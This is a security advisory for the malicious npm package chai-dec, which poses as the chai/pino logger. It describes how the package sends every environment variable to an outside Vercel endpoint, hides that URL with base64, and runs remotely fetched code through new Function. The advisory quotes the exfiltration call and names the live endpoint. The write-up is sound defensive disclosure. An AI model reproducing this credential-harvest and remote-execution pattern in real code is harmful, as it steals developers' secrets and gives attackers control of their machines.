chai-decnpm
Malicious code in chai-dec (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — module.exports.pino = middleware — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } }), leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed process.env.DEV_API_KEY and decoded with atob at runtime to evade static review. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection